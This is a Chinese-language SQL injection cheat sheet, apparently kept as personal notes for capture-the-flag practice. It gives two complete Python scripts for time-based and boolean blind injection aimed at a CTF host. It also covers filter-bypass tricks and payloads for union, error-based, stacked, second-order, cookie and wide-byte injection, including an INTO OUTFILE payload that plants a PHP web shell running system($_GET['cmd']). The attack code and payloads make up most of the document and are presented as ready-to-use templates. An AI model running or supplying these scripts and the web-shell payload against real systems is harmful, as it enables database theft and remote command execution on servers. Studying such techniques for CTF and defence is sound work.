# 重要的玩意儿
注入一定要注释后面的,使用 --
时注意前后要空格,要不然滚去用 #
information_schema.tables
是自带的数据库
其中有三个表,分别是:
1. schemata
其中只有一个字段
schemata_name
存放所有库的库名
2. tables
俩字段
tables_schema
存放所有库的库名
table_name
存放所有表名
3. column
三个字段,前两个同 tables(完全一样,不用改名)
column_name
存放所有的字段名
# 直接套用
都是使用二分法来找
# 时间盲注
import requests | |
import time | |
# 目标 URL | |
url = 'http://challenge.ctf.rois.team:30181/' | |
# 提取表名 | |
def extract_table_name(): | |
result = "" | |
table_index = 0 # 表的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_table = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造时间盲注 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT {table_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
start_time = time.time() | |
r = requests.post(url, data=payload) | |
end_time = time.time() | |
elapsed_time = end_time - start_time | |
if elapsed_time >= 3: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前表名 | |
break | |
current_table += chr(head) | |
char_index += 1 | |
if not current_table: # 无更多表时退出循环 | |
break | |
result += current_table + "\n" | |
table_index += 1 | |
return result | |
# 提取列名 | |
def extract_column_name(table_name): | |
result = "" | |
column_index = 0 # 列的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_column = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造时间盲注 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}' LIMIT {column_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
start_time = time.time() | |
r = requests.post(url, data=payload) | |
end_time = time.time() | |
elapsed_time = end_time - start_time | |
if elapsed_time >= 3: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前列名 | |
break | |
current_column += chr(head) | |
char_index += 1 | |
if not current_column: # 无更多列时退出循环 | |
break | |
result += current_column + "\n" | |
column_index += 1 | |
return result | |
# 提取数据 | |
def extract_data(table_name, column_name): | |
result = "" | |
data_index = 0 # 数据的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_data = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造时间盲注 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
start_time = time.time() | |
r = requests.post(url, data=payload) | |
end_time = time.time() | |
elapsed_time = end_time - start_time | |
if elapsed_time >= 3: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前数据 | |
break | |
current_data += chr(head) | |
char_index += 1 | |
if not current_data: # 无更多数据时退出循环 | |
break | |
result += current_data + "\n" | |
data_index += 1 | |
return result | |
# 主函数 | |
if __name__ == "__main__": | |
# 提取表名 | |
print("提取表名中...") | |
tables = extract_table_name() | |
print("获取到的表名:") | |
print(tables) | |
# 提取列名 | |
table_name = input("请输入要提取列名的表名:") | |
print(f"提取表 {table_name} 的列名中...") | |
columns = extract_column_name(table_name) | |
print("获取到的列名:") | |
print(columns) | |
# 提取数据 | |
column_name = input("请输入要提取数据的列名:") | |
print(f"提取表 {table_name} 中列 {column_name} 的数据中...") | |
data = extract_data(table_name, column_name) | |
print("获取到的数据:") | |
print(data) |
# 布尔盲注
import requests | |
# 目标 URL | |
url = 'http://challenge.ctf.rois.team:30181/' | |
# 提取表名 | |
def extract_table_name(): | |
result = "" | |
table_index = 0 # 表的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_table = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造注入 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT {table_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
r = requests.post(url, data=payload) | |
if "用户名或密码错误" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前表名 | |
break | |
current_table += chr(head) | |
char_index += 1 | |
if not current_table: # 无更多表时退出循环 | |
break | |
result += current_table + "\n" | |
table_index += 1 | |
return result | |
# 提取列名 | |
def extract_column_name(table_name): | |
result = "" | |
column_index = 0 # 列的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_column = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造注入 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}' LIMIT {column_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
r = requests.post(url, data=payload) | |
if "用户名或密码错误" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前列名 | |
break | |
current_column += chr(head) | |
char_index += 1 | |
if not current_column: # 无更多列时退出循环 | |
break | |
result += current_column + "\n" | |
column_index += 1 | |
return result | |
# 提取数据 | |
def extract_data(table_name, column_name): | |
result = "" | |
data_index = 0 # 数据的索引,从 0 开始 | |
while True: | |
char_index = 1 # 字符的索引,从 1 开始 | |
current_data = "" | |
while True: | |
head = 0 # ASCII 起始值 | |
tail = 127 # ASCII 结束值 | |
while head < tail: | |
mid = (head + tail) // 2 | |
# 构造注入 payload | |
payload = { | |
'username': f"' OR IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ", | |
'password': 'random_password' # 密码字段可以随便填 | |
} | |
r = requests.post(url, data=payload) | |
if "用户名或密码错误" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head == 0: # 检测到 ASCII 0 时结束当前数据 | |
break | |
current_data += chr(head) | |
char_index += 1 | |
if not current_data: # 无更多数据时退出循环 | |
break | |
result += current_data + "\n" | |
data_index += 1 | |
return result | |
# 主函数 | |
if __name__ == "__main__": | |
# 提取表名 | |
print("提取表名中...") | |
tables = extract_table_name() | |
print("获取到的表名:") | |
print(tables) | |
# 提取列名 | |
table_name = input("请输入要提取列名的表名:") | |
print(f"提取表 {table_name} 的列名中...") | |
columns = extract_column_name(table_name) | |
print("获取到的列名:") | |
print(columns) | |
# 提取数据 | |
column_name = input("请输入要提取数据的列名:") | |
print(f"提取表 {table_name} 中列 {column_name} 的数据中...") | |
data = extract_data(table_name, column_name) | |
print("获取到的数据:") | |
print(data) |
# 零。绕过方式
大小写绕过:比如过滤 select 时,在不区分大小写时候可以 Select 绕过
双写绕过:过滤关键字可以用 selselctect 来绕过
空格绕过:
○/**/ 可以代替空格当空格被过滤的时候
例如:select/**/user/**/from/**/users;
○可以使用 Tab 代替空格
○可以使用空格 url 编码 %20
○如果空格被过滤,括号没有被过滤,可以用括号绕过
例如:select (user) from (users);
= 被过滤:可以用 like 或 rlike,也可以用 regexp(正则来匹配)来绕过
比如 ='admin' 就可以 like'admin'
select 被过滤:可以使用 desc 倒序查看表内的字段,也可以 showcolumnsfrom 表名。当需要查看具体信息的时候,可以使用预处理语句(堆叠注入查询)
编码绕过:两次 URL 全编码
# 一。联合注入
# 格式
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema = DATABASE() --
union 内部的 select 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。
同时,每条 select 语句中的列的顺序必须是相同的。
有时返回的不是我们想要的数据,请记住返回值(要显示的那个!)在原查询的位置
在进行联合查询时,同位置的就会覆盖显示过去(尽管可能都不在一个表,不是一个名)
# 一些小部件
# 1.order by
除了关键字 DESC, 还可以:
order by column_name/数字(对应第几列)
不存在(名字 or 列数)会报错
# 2.concat
拼接字符串,格式:
concat(str1,str2)
其中一个为 null,就会直接返回 null
# 3.group_concat
格式:
group_concat([distinct]要连接的字段[order by 排序字段 asc/desc][separator ‘分隔符’])
distinct
去重
分隔符默认是逗号
# 4.group by
值得注意的是,MySQL 实现这个是通过建立一个临时空表
# 5.substr
格式:substr (string,start,length)
0 是第一个位置,负数从结尾指定位置开始
length 可选,默认是到结束位置
# 6.ascll
格式:ascii (str)
返回字符串最左边字符的 ascll
只返回一个
# 7.database()
当前使用的数据库,相当于使用该库名
# 流程
1. 判断注入点
用 ' 等尝试破环查询语句,看看回显(整型不用闭合)
// 整型都不用引号,字符型要注意闭合
2. 摸个表!
用上面的 order by 数字,看看到多少会报错(回显异常)
以及摸一摸回显的在第几个位置(实在不行直接 1,2,3 看回来哪个)
3. 开查!
>id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名称' //查表名 >id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名称' //查字段名(列名) >id=1 union select 1,2,字段名 from 表名 //查详细信息
# 二。报错注入
前提是会回显错误,可以乱写 SQL 试一试有没有显示报错
# 1.updatexml()
# 模板
select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3)
# 语法
updatexml(xml_documat,XPath_string,new_value)
xml_documat
:string,为 XML 文档对象的名称,这一项可以输入一个十六进制的字符,比如 0x26(&)。
XPath_string
:XPath(一种字符串格式),报错注入时需要写入错误的格式来显示错误的信息。
new_value:string,替换查找到符合条件的数据,在注入时可以加入任意字符,比如 0x26(&)
# 原理
用 0x26 开头,显然不是 XPath 格式,这是报错。
XPath 格式出错会返回其内容,因此用 concat 把我们要的东西连在 0x26 后
# 2.extractvalue()
# 模板
select * from major where id=1 and extractvalue(1,concat(0x26,(selectdatabase()),0x26)
# 语法
extractvalue(xml_documat,XPath_string)
原理同上
# 三。布尔盲注
# 流程
# 1. 查数据库
id=1 and (length(database())>3
-- 查长度
id=1 and (ascii(substr(database(),1,1))>110
-- 查具体字符
# 2. 查表
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0
-- 查表数,加limit子句分页输出,改变起始位置,长度不变,直到报错(不存在当然无法比较)
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit0,1),1,1))=110
-- 查表名
# 3. 查字段
假设查出的表名是 flag
1 and (select count(column_name) from information_schema.columns where table_name="flag")=1
-- 查列数
1 and ascii(substr((select column_name from information_schema.columns where table_name="flag" [and ordinal_position = 1]),1,1))=102
-- 查列名,同样通过改start参数来换位置,改ordinal_position来查询其他列
# 4. 查数据
假设查出来的列名也是 flag
1 and(select count(flag) from flag)=1
-- 查有多少个字段信息(多少非空行)
1 and ascii(substr((select flag from flag limit 0,1),32,1))
-- 查字段信息有多长,改substr的start来判断长度,改limit的start来换行
1 and ascii(substr((select flag from flag limit0,1),1,1))=99
-- 查具体字段信息
很显然,你并不必要查名字或者字段信息的长度,因为不存在也无法比较
对于字符信息,也可以用 ascii 值为 0 来当作结束条件。
# 判断
r = requests.post(url, data=payload) | |
if "用户名或密码错误" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid |
# 四。时间盲注
和布尔盲注类似,但是不依赖固定的返回值
两者只有判断条件的不同
IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0)
#对于布尔盲注,要把sleep(3)改为1,来返回真,此后判断返回值是否含有错误时的内容来判断
时间盲注是:
start_time = time.time() | |
r = requests.post(url, data=payload) | |
end_time = time.time() | |
elapsed_time = end_time - start_time | |
if elapsed_time >= 3: | |
head = mid + 1 | |
else: | |
tail = mid |
# 五。堆叠查询注入
# 模板
1';select * from major;#
# 流程(select 被过滤)
show databases
show tables
desc `表名`
或者
show columns from `表名`
sEt @a=concat ("sel","ect 列名 from` 表名 `");PRepare hello from @a;execute hello
------- 多次堆叠和预处理语句
# 原理
SQL 语句可以堆叠,多语句分号隔开,这也导致你其实可以直接修改数据库......
加上盲注的几个,就可以窃取 + 修改(可刑可拷)
# EX. 预处理语句
一种特殊的 SQL 处理方式;预处理不会直接执行 SQL 语句,而是先将 SQL 语句编译,生成执行计划,然后通过 Execute 命令携带 SQL 参数来执行 SQL 语句
模板:
@a prepare xxx as select * from user where id=1; -- 将select查询语句(@a)定义为xxx
然后就
execute xxx -- 执行@a语句,为了避免过滤,上面使用concat来组成select
可以用set来对@a参数赋值(可见concat的返回值就是结果)
# 六。二次注入
用于注册加登录加可以改密的页面,所以叫二次
注册时加点特殊字符
比如用户名 & 密码设为:
'admin123"\
如果登录后改密会报错,说明可以二次注入
然后:
只要在用户名处用报错注入
修改密码的时候就会触发(密码都是随便填,但要记住,登录要用)
# 七.cookie 注入
本质上只是注入点不同
一种变体,只有参数用 cookie 传递的时候才能用
比如:
<?php | |
$user_id = $_COOKIE['user_id']; | |
$sql = "SELECT * FROM users WHERE user_id = '$user_id'"; | |
$result = mysqli_query($conn, $sql); | |
?> |
然后就抓包,直接去 cookie 里找 user_id,使用其他注入方式
类似的,请求头的各个位置都有可能可以注入
# 八.outfile_sql 注入
MySQL 如果没有写入权限,想都不要想这玩意儿
这是一个关键字,基本语法
SELECT ... INTO OUTFILE
于是可以:
1;SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
这样,如果我们执行了这个 php 文件(所以你写的必须放在这个网站的根目录,通常是 /var/www/html/),就可以使用
http://example.com/shell.php?cmd=ls
来执行系统命令。
万一不知道路径?
可以先联合注入:
'union select 1,@@basedir,@@datadir #
@@basedir
系统变量,是 MySQL 的安装路径
@@datadir
系统变量,是 MySQL 的文件路径
(都是绝对路径)
EX. 配置环境
在 MYSQL 安装目录下的 my.ini,增加一个:secure-file-priv=""
重启生效
可以用 sql 命令:
show variables like "secure_file_priv" 或 show variables like "secure_file_priv"
来查看当前设置,NULL 表示禁止导入导出,空表示不限制,
若值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在 /tmp/ 目录
# 九。宽字节注入
仅限数据库时 GBK 编码和后端进行 \ 转义
此时闭合用的 %27(单引号)改成 % df%27(GBK 编码下是个汉字)
因为汉字双字节,所以 PHP 转义的 \ 会被吃掉
然后联合查询
注意:由于 ' 被转义
table_schema=' 库名'
要改为嵌套查询
table_schema=(select database())
例如:
id=20%df%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(selectdatabase())%23
-- 查列
id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema=(selectdatabase()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)limit 0,1%23
这里就使用了三层嵌套,第一层是 table_schema,它代表库名的嵌套,第二层和第三层是 table_name 的嵌套,这里可以看到语句中有两个 limit,前一个 limit 控制表名的顺序,后一个则控制字段名的顺序。这里就可以查询到表中的字段信息,剩下的就是查询详细信息,这里就不做介绍
在 PHP 中,通过 iconv () 进行编码转换时,也可能存在宽字符注入漏洞